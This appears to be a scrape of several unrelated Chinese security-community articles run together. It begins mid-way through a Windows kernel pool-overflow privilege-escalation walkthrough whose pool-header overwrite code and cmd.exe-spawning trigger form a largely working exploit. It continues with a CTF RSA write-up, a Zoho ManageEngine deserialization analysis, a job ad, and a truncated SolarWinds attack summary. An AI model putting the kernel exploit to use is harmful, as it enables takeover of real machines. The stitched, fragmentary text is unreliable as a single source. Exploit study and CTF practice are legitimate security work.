.text:004196CA
.text:004196CA push ebp
.text:004196CB mov ebp, esp
.text:004196CD push ebx
.text:004196CE mov ebx, [ebp+arg_4]
.text:004196D1 push edi
.text:004196D2 push 3C8h ; size_t
.text:004196D7 push 0 ; int
.text:004196D9 push ebx ; void *
.text:004196DA call memset
.text:004196DF mov edi, [ebp+arg_0] ; controlled buffer
.text:004196E2 xor edx, edx
.text:004196E4 add esp, 0Ch
.text:004196E7 mov [ebp+arg_4], edx
.text:004196EA mov eax, [edi] ; make sure @eax is null
.text:004196EC mov [ebx], eax ; the write here is fine
.text:004196EE test eax, eax
.text:004196F0 jz loc_4197CB ; take the jump
该代码，会从我们在+0x90的SystemBuffer中得到一个dword值，并将其写入溢出的缓冲区之中，并检查其是否为空。如果为空，我们就不在这个函数中对其继续做处理，并且返回。
.text:004197CB loc_4197CB: ; CODE XREF: sub_4196CA+26
.text:004197CB pop edi
.text:004197CC pop ebx
.text:004197CD pop ebp
.text:004197CE retn 8
如果不这么做，在试图访问缓冲区中不存在的指针时，很有可能会出现蓝屏。
至此，我们就可以毫无顾虑地触发eop了。关于Shellcode清理，我们溢出的缓冲区存储在@esi中，所以我们可以计算TypeIndex的偏移量，并对其进行修补。最后，建议将ObjectCreateInfo改为空，因为系统会避免使用这个指针。
**打造我们的缓冲区**
****
考虑到在每一次循环时，都会复制0x8字节，并且起始索引是0x1c：
.text:004199D3 lea ecx, [ebx+1Ch] ; index offset for the first write
假设我们希望得到44字节（0x2c）的缓冲区溢出，我们用缓冲区的大小，减去头部，减去起始索引偏移量，加上想要溢出的字节数，最后将其除以0x8（这是因为每次循环都复制0x8字节）。
(0x460 – 0x8 – 0x1c + 0x2c) / 0x8 = 0x8d
也就是说，0x8d的大小会使缓冲区溢出0x2c（即44字节），并能损坏池的头部、引用和对象头。
# repair the allocated chunk header...
input += struct.pack("<I", 0x040c008c) # _POOL_HEADER
input += struct.pack("<I", 0xef436f49) # _POOL_HEADER (PoolTag)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x0000005c) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (PointerCount)
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (HandleCount)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (Lock)
input += struct.pack("<I", 0x00080000) # _OBJECT_HEADER (TypeIndex)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (ObjectCreateInfo)
当我们将到0x00080000（实际上是较小的一个值）的TypeIndex为null。这意味着，函数表会指向0x0，并且我们可以映射空页。
kd> dd nt!ObTypeIndexTable L2
82b7dee0 00000000 bad0b0b0
请注意，这里的第二个索引是0xbad0b0b0。这样的方法同样可以用于x64系统。
**触发内核中的代码执行**
****
在触发了溢出后，它存活了下来。但为了获得eop，我们需要设置一个指向0x00000074的指针，以利用 **OkayToCloseProcedure**
函数指针。
kd> dt nt!_OBJECT_TYPE name 84fc8040
+0x008 Name : _UNICODE_STRING "IoCompletionReserve"
kd> dt nt!_OBJECT_TYPE 84fc8040 .
+0x000 TypeList : [ 0x84fc8040 - 0x84fc8040 ]
+0x000 Flink : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
+0x004 Blink : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
+0x008 Name : "IoCompletionReserve"
+0x000 Length : 0x26
+0x002 MaximumLength : 0x28
+0x004 Buffer : 0x88c01090 "IoCompletionReserve"
+0x010 DefaultObject :
+0x014 Index : 0x0 '' <--- TypeIndex is 0x0
+0x018 TotalNumberOfObjects : 0x61a9
+0x01c TotalNumberOfHandles : 0x61a9
+0x020 HighWaterNumberOfObjects : 0x61a9
+0x024 HighWaterNumberOfHandles : 0x61a9
+0x028 TypeInfo : <-- TypeInfo is offset 0x28 from 0x0
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0x2 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y1
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 0
+0x008 InvalidAttributes : 0xb0
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0xf0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x5c
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x82cb02ac long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null) <--- OkayToCloseProcedure is offset 0x4c from 0x0
+0x078 TypeLock :
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x07c Key : 0x6f436f49
+0x080 CallbackList : [ 0x84fc80c0 - 0x84fc80c0 ]
+0x000 Flink : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
+0x004 Blink : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
这样，0x28 + 0x4c = 0x74便是我们的指针需要指向的位置。但是 **OkayToCloseProcedure**
是如何调用的呢？经过研究发现，这是一个注册的aexit
handler。所以，为了触发代码的执行，我们只需要释放损坏的IoCompletionReserve。我们并不清楚句柄是与哪一个溢出块相关联，所以我们干脆全部释放它们。
def trigger_lpe():
"""
This function frees the IoCompletionReserve objects and this triggers the
registered aexit, which is our controlled pointer to OkayToCloseProcedure.
"""
# free the corrupted chunk to trigger OkayToCloseProcedure
for k, v in khandlesd.iteritems():
kernel32.CloseHandle(v)
os.system("cmd.exe")
最后，我们最终成功实现，如图所示：
**参考文章**
****
<https://github.com/hacksysteam/HackSysExtremeVulnerableDriver>
<http://www.fuzzysecurity.com/tutorials/expDev/20.html>
<https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf>
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms724485(v=vs.85).aspx>
<https://www.exploit-db.com/exploits/34272> | 社区文章 |
# PWNHUB-Crypto-easy_rsa
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
上周做了PWNHUB公开赛的一道题，题目非常简单，不过其解法可以作为去年至今年不少比赛中一些题的非预期解。
## easy_rsa
题目内容：
from Crypto.Util.number import *
import gmpy2
p = getPrime(256)
q = getPrime(256)
n = p**4 * q
e = 0x10001
phi = gmpy2.lcm(p - 1, q - 1)
print p,q,(p-1)*(q-1),phi
d = gmpy2.invert(e, phi)
dp = d % (p - 1)
flag = "flag test"
m = bytes_to_long(flag)
c = pow(m, e, n)
with open("task.txt", "wb") as f:
f.write("p = " + str(p) + "n")
f.write("dp = " + str(dp) + "n")
f.write("c = " + str(c) + "n")
已知条件有：
e = 0x10001
p = 101929084299670546874377888313310032223878975126505177250899359089949344741757
dp = 65396861873942157177988639208356504492876743612299764912123170896046356221697
c = 6269384350208107136998483707011829394008587900457663571244788943036780209795770242310061468769349755061758139035007281850788012666607455148381884258167481858728622506286494019122798053786551166225594180741059049967989361825384394750684768329297786252047054319366274151496551274680273650028952994423859700579125146060211533750292355111530085730590032774664087174464270974719057122128137
和正常RSA的区别有两点：一是本题中`n = p**4 * q`而非`p * q`，这并不影响解密，如果知道`p`和`q`的值一样可以计算`n`的欧拉函数
$phi(n) =
(q-1)(p-1)p^3$；二是本题中不知道`q`的值，没有`q`就没法计算出`n`，所以就无法解密吗？答案是否定的，下面分析如何不使用`q`完成解密。
RSA加解密流程如下：
1. 取大素数$p$和$q$，计算$n = pq$，计算$phi(n) = phi(p)phi(q)$;
2. 取和$phi(n)$互质的公钥$e$，计算私钥$d$，满足$edequiv 1 pmod {phi(n)}$；
3. 丢弃$p$和$q$，避免被他人获得进而计算出私钥；
4. 加密：$c equiv m^e pmod n$;
5. 解密：$m equiv c^d pmod n$.
由于
ed = kphi(n)+1
根据欧拉定理
a^{phi(n)} equiv 1 pmod n
c^d equiv m^{ed} equiv m^{kphi(n)+1} equiv m pmod n
（注意这不是严格的RSA正确性证明）
当知道`n`的一个因数（假定为`p`）的时候，令
cp equiv c pmod p
就有
cp equiv m^e pmod p
如果明文`m`不大于`p`，那么就可以在不需要`q`的情况下解密，流程如下：
1. 计算$phi(p) = p-1$;
2. 计算新的私钥$dp$，满足$e*dpequiv 1 pmod {phi(p)}$;
3. 计算$m equiv cp^{dp} pmod p$.
同样由于欧拉定理保证了这样计算出的m是正确的
cp^{dp} equiv m^{edp} equiv m^{kphi(p)+1} equiv m pmod p
无论明文`m`是否大于`p`，上面的式子都是成立的，只是`m`大于`p`时得到是满足要求的最小`m`，这未必是我们想要的。
按照上面的思路，对于easy_rsa这道题，已知的最大的一个`n`的因数是$p^4$，解密流程如下：
1. 计算$cp_4 equiv c pmod {p^4}$，得到`cp4 = 92258417132703698867357242895362081798728266820359920406334628423217525720347162182976441142853919128328179377489269891965884679810815303646319951126042836844112032938227662314873014551126491592505083363734798620778161007996148756609856151255577919385049228825554966072197314543854674047083451882206834724547`;
2. 计算$phi(p^4) = (p-1)p^3$，得到`phip4 = 107942504553034055189174912429558305583217343940542532622157501036333587105880669089428586204757543036635156859326713539152513944716055403225815788388551357468487200053249039484218446786105990107424723366865192526491061630182343408694770454246453879525773269493047346660305044734430034813341844797241874083308`;
3. 计算新的私钥$dp_4$，满足$e*dp_4equiv 1 pmod {phi(p^4)}$，得到`dp4=8874288028621198549815744208164245395461724661666587817083244817183657587721211606479411972950144832405972582786095374352712897052506317234244708604872281520976075100888136850038436170156386082652614698577439573565067672664639307353821859521795222590061589270618720780715070586525306736260217278293776302865`;
4. 计算$m equiv cp_4^{dp_4} pmod {p^4}$，得到`m=13040004482819946222025247183339497391242477745471686520134579858183906354823232897647456893`;
5. 转成字符串，得到`flag{473c6e6a2d6a46b5b38331cdee4b3192}`.
事实上这个大小的`m`，取`n`的一个较小因子$p^2$就可以计算出来，读者可以自己计算。
截至本文完成官方 writeup
尚未公开，个人感觉上面的解法应该属于预期解法，因为这个题目流程比较简单。相对应的，去年至今年的一些比赛中出现了一些流程复杂的题目，比如不公开RSA的`e`和`n`，解题时需要使用各种技巧才能获得计算
flag 的全部要素。如果出题人对`m`的选择不合适，那么只需要获取部分要素即可计算 flag，工作量大大减少。下面以 De1CTF2019 的
Baby_RSA 为例应用上面的解法。
## De1CTF2019 Baby_RSA
题目内容：
import binascii
from data import e1,e2,p,q1p,q1q,hint,flag
n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]
c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]
f=lambda m,e,n,c:pow(m,e,n)==c
assert(sum(map(f,[p]*4,[4]*4,n,c))==4)
ee1 = 42
ee2 = 3
ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384
ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158
tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387
n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039
assert(pow(e1,ee1,n)==ce1)
assert(pow(e2+tmp,ee2,n)==ce2)
e = 46531
n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603
c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469
hint=int(binascii.hexlify(hint),16)
assert(q1p*q1q==n)
assert(q1p<q1q)
assert(c==pow(hint,e,n))
flag=int(binascii.hexlify(flag),16)
q1=q1p
q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513
c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124
c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596
assert(c1==pow(flag,e1,p*q1))
assert(c2==pow(flag,e2,p*q2))
下面是官方 writeup 的解法：
>
> 本题主要考察RSA的基础知识和常见攻击方式，涉及共模攻击、小指数攻击等。首先通过共模攻击等到p，再通过小指数攻击得到e1，e2，然后使用yafu分解大数得到q1且可解出没有任何用处的hint。然后是以flag为明文的加密，这里的加密不满足e和φ互素，因此虽然知道p，q，但无法直接解密，需要稍做操作。
事实上本题的`m`实在太小了，只需要通过低加密指数小明文攻击得到`e2`，配合已知的`q2`解密即可获得flag，流程如下：
1. 使用低加密指数小明文攻击得到`e2`:
for i in range(200000):
if gmpy.root(ce2+n*i,3)[1]==1:
res=gmpy.root(ce2+n*i,3)[0]
e2=res-tmp
break
1. 对于`c2==pow(flag,e2,p*q2)`，已知`c2`、`e2`和模数的一个因子`q2`，使用上面提到的方法求解：
1. 计算$cq_2 equiv c_2 pmod {q_2}$，得到`cq2 = 59300156834807239400438883971989389252055541087043532702584370751329717945886481828760106720813999920356009388325503241306598798800976100279870403310753783824524984677363752808090507086013354386506648468559181712840654544329520704859572275231884385619243419604881680998090642805788985141920716229101651471742`;
2. 计算$phi(q_2) = q_2-1$，得到`phiq2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959512`;
3. 计算新的私钥$dq_2$（注意这里$phi(q_2)$和$e_2$不互素，令$e=frac{2}{e_2}$），满足$e*dq_2equiv 1 pmod {phi(q_2)}$，得到`dp4=108137817394146015594852058734005451132800899677885557426197929598594956463991870282326331929409200590023700635072220450512097663569826867921816998060051238124409538827828378297268506047977115344663749598582163852149601763815400251995770809704407725376150671432757304162027361685807036201740059635743897815877`;
4. 计算$m^2 equiv cq_2^{dq_2} pmod {q_2}$，再开方得到`m=3597756982424788530654510857179372044113434920098110365668160220641544533784058353001736221836299987936893`;
5. 转成字符串，得到`de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}`.
flag: `de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}`.
## 结语
在`n`的因子较大且部分已知，而明文又较小的时候常常可以应用上面的方法完成解密。师傅们如果要出类似题目建议先对明文进行填充，这样这种非预期解法就无法进行（比如NCTF-2019-easyRSA）。
## 参考
1. easy_rsa：<https://pwnhub.cn/publicgamedetail/25>
2. Baby_RSA: <https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/crypto/Baby%20Rsa/README_zh.md> | 社区文章 |
# CVE-2020-10189 Zoho ManageEngine反序列化远程代码执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
2020年3月6日,有安全研究人员`steventseeley`在Twitter上发布了Zoho企业产品`Zoho ManageEngine Desktop
Central`中的反序列化远程代码执行漏洞.利用该漏洞可直接控制安装该产品的服务器,该产品为Windows系统上运行的一种端点管理解决方案,客户可用它管理网络中的设备,例如：Android手机,Unix服务器以及Windows工作站等.它往往充当公司内部的中央服务器,帮助系统管理员推送更新，远程控制系统，锁定设备，控制访问权限等。
## 影响版本
Zoho ManageEngine Desktop Central < 10.0.479
## 漏洞编号
CVE-2020-10189
## 威胁等级
高危
## 漏洞分析
**1.寻找反序列化点**
我们进入`DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/`目录提取`web.xml`,可以看到一个名为`CewolfServlet`的`servlet`.
该`servlet`对应的`class`为`de.laures.cewolf.CewolfRenderer`,该类存在于`DesktopCentral_Server/lib/cewolf-1.2.4.jar`
该类中的get方法使用`img`参数接受`imgKey`的值
imgKey将会被`Storage`类中的`getChartImage`方法调用
在该jar包中存在一个`FileStorage`类基于`Storage`类实现接口的类.在其内部存在一个`storeChartImage`方法,该方法直接将接收到的文件流存储在本地.该方法内部调用一个`getFileName`类用于拼接base路径.
在查看`storeChartImage`方法的同时,我注意到还有一个获取文件的方法 `getChartImage`.
清晰可见的是它执行了一个非常危险的操作,直接让`ObjectInputStream`执行了`readObject`方法.可见这就是漏洞的触发点.那么问题来了,有了反序列化的点,序列化文件的点从哪里来？
**2.寻找文件上传点**
于是我再次检索`web.xml`,发现了一个具有上传功能的`servlet`.
该`servlet`对应`DesktopCentral_Server/lib/AdventNetDesktopCentral.jar`中的`com.me.mdm.agent.servlets.file.MDMFileUploaderServlet`.
在该类中存在`Post`方法,可见`udid`和`filename`为可控点,我们完全可以自己传值控制.当然`udid`其实也做了三种安全检查,但并不影响目录穿越的产生.
而`filename`被做了后缀名限制,只允许为`log|txt|zip|7z`其中一种
其实在`security-mdm-agent.xml`做了进一步限制
只允许完整文件名称为`logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip`.不过这丝毫不影响我们上传恶意的序列化文件.
**3.寻找序列化可用的gadgets**
我们进入`DesktopCentral_Serverlib`目录,寻找有漏洞的jar.
可见我们发现了`commons-collections.jar`、`commons-beanutils-1.8.0.jar`
`commons-collections.jar`不确定具体版本,我们查看一下版本
太完美了它是`commons-collections:3.1`.可见我们可以利用`CommonsBeanutils1`和`CommonsCollections3`两条gagdets.当然还有jdk的两条gagdets,`JDK7U21`和`JRE8U20`.
我们请出反序列化文件构建神器——`ysoserial`.
我们使用`ysoserial`中的两条gadgets构建序列化文件即可.但是这里我们需要注意的是如果直接使用可能会反序列化失败,
这是由于我们在打包`ysoserial`时默认的依赖版本是`1.9.2`,而`Zoho ManageEngine Desktop
Central`自带的是`commons-beanutils-1.8.0`,这将导致`UID`不同,从而造成反序列化失败.我们只需要修改`ysoserial`的`pom.xml`中的`commons-beanutils`为1.8系列即可
**4.效果演示**
为了满足漏洞管理条例,本文不直接放出payload,可自行参考文末的公开payload
###
## Reference
<https://nosec.org/home/detail/4211.html>
<https://srcincite.io/pocs/src-2020-0011.py.txt>
<https://nvd.nist.gov/vuln/detail/CVE-2020-10189> | 社区文章 |
“先知平台”眼中的你：
懂安全技术；擅长沟通交流，能换位思考；以一颗赤子之心为白帽子和客户服务。有过安全运营经验，在白帽子圈有一定的人脉或影响力。
大家眼中的“先知平台”：
背靠阿里云，云盾爸爸的亲儿子；高速发展，机遇和挑战并存；创业氛围，工作环境简单高效；技术和商业双修，满足各种学习需求；base杭州，不错的薪资待遇。
如果你符合以上条件，也认可先知平台；
那么，来和“先知平台”谈一场轰轰烈烈的恋爱吧。简历发送至：[email protected]。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/>**
这篇文章包含[近期国家网络攻击](https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
"近期国家网络攻击")背后攻击者的技术细节。以下是攻击者常使用的工具及技术：
* 通过SolarWinds Orion产品中的恶意代码入侵。这导致攻击者在网络中获得立足点，从而获得更高的凭据。详请参阅[SolarWinds安全咨询](https://www.solarwinds.com/securityadvisory "SolarWinds安全咨询")。
* 一旦进入网络，攻击者就会使用通过本地泄露获得的管理权限来访问组织的全局管理员帐户/可信的SAML令牌签名证书。这使得攻击者能够伪造SAML令牌，以模拟任何现有用户和帐户，包括高权限帐户。
* 然后，可以针对任何本地资源（无论身份系统或供应商如何）以及任何云环境（无论供应商如何）使用由受损令牌签名证书创建的SAML令牌进行异常登录。因为SAML令牌是用它们自己的可信证书签名的，所以组织可能会忽略异常。
* 使用全局管理员帐户/可信证书来模拟高权限帐户，攻击者可以向现有应用程序或服务主体添加自己的凭据，使它们能够使用分配给该应用程序的权限调用API。
### 活动描述
#### 初始访问
尽管我们不知道后门代码是如何将其添加到库中的，但从最近的活动来看，攻击者可能已经破坏了SolarWinds的内部构建或分发系统，将后门代码嵌入到一个合法的SolarWinds库中，文件名为SolarWinds.Orion.Core.BusinessLayer.dll。自2020年3月以来，可以通过目标网络中的自动更新平台或系统来分发此后门。
#### 执行
在更新SolarWinds应用程序时，嵌入的后门代码在合法代码执行之前加载。系统会误没有发生恶意活动，并且依赖于库的程序的行为符合预期。
攻击者已经破坏了使用目标公司自己的数字证书的签名库，试图逃避应用程序控制技术。Microsoft已经从其受信任列表中删除了这些证书。带有签名哈希的证书详细信息如下所示：
然后从SolarWinds应用程序的安装文件夹加载DLL。主植入程序将作为Windows服务和DLL文件安装在以下路径中，使用具有不同名称的文件夹：
* 例如，SolarWinds Orion安装文件夹：`%PROGRAMFILES%\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll`
* .NET程序集缓存文件夹（编译时）：`%WINDIR%\System32\config\systemprofile\AppData\Local\assembly\tmp\<VARIES>\SolarWinds.Orion.Core.BusinessLayer.dll`
安全研究人员发现，只有在运行 **SolarWinds.BusinessLayerHost.exe** 时，攻击者才会激活恶意代码。
#### 命令与控制（C2）
恶意DLL使用avsvmcloud.com域调用远程网络基础结构。准备可能的第二阶段有效负载，在组织中横向移动，破坏或过滤数据。
微软将主要植入程序及其组件检测为Solorigate。
#### 目标行动
在微软云上观察到的行为中，攻击者要么使用泄露的特权帐户凭证（例如被盗的密码）获得管理权限，要么通过使用泄露的SAML令牌签名证书伪造SAML令牌。
即使我们看到SAML令牌签名证书泄露，但有些情况下，攻击者获得证书访问权的具体机制还是不确定。我们可以使用常用工具访问支持SAML联合服务器的数据库，并使用管理访问和远程执行功能。
在一些情况下，服务帐户凭据已被授予管理特权。而在另一些情况下，管理帐户可能已被不相关的机制破坏。通常，证书存储在提供SAML联合功能的服务器上。这使得在该服务器上具有管理权限的任何人都可以从存储或读取内存访问它。
一旦获得了证书，攻击者就可以使用他们选择的任何声明和生存期来伪造SAML令牌，然后用获得的证书对其进行签名。这样，它们可以访问任何配置为信任使用该SAML令牌签名证书签名的令牌的资源。这包括伪造一个声称代表Azure
AD中的高特权帐户的令牌。
与内部部署帐户一样，攻击者还可以通过泄露的凭据获得管理Azure AD权限。如果有问题的帐户没有受到多因素身份验证的保护，这种情况就很有可能发生。
不管攻击者是铸造SAML令牌还是通过其他方式获得对Azure AD的访问权，都会观察到使用这些管理权限的特定恶意活动，包括以下所述的长期访问和数据访问。
#### 长期访问
攻击者在本地环境中获得了立足点，因此对Azure Active Directory设置进行了修改，以进行长期访问。
1.Federation Trusts：
* 攻击者向现有租户添加[新的联合身份验证信任](https://docs.microsoft.com/zh-cn/office365/troubleshoot/active-directory/update-federated-domain-office-365 "新的联合身份验证信任")，或修改现有联合身份验证信任的属性以接受使用攻击者拥有的证书签名的令牌。
2.OAuth应用程序和服务主体凭据：
* 攻击者向一个或多个合法的OAuth应用程序或服务主体添加凭据（x509密钥或密码凭据），通常具有现有的Mail.Read或Mail.ReadWrite权限，从而可以通过Microsoft或Outlook REST从Exchange Online读取邮件内容。
* 攻击者可以使用他们的管理员特权向目标应用程序或服务主体授予额外的权限（例如：Mail.Read，Mail.ReadWrite）。
#### 数据访问
数据访问依赖于利用生成的SAML令牌来访问用户文件/电子邮件，或者通过使用添加的凭据来验证和获取访问令牌来模拟应用程序或服务主体。攻击者定期从VPS提供商的服务器连接，以使用授予模拟应用程序或服务主体的权限访问特定用户的电子邮件。在许多情况下，目标用户是重要的IT和安全人员。通过模拟使用Mail.Read等权限的现有应用程序来调用攻击者使用的相同API，访问将被隐藏在正常流量中。
### 建议
如果您没有受到攻击者的危害，建议您考虑以下操作来避免攻击：
* 运行最新的防病毒或EDR产品，检测受损的SolarWinds库以及这些二进制文件可能出现的异常进程行为。更多细节请咨询[SolarWinds的安全顾问](https://www.solarwinds.com/securityadvisory "SolarWinds的安全顾问")。
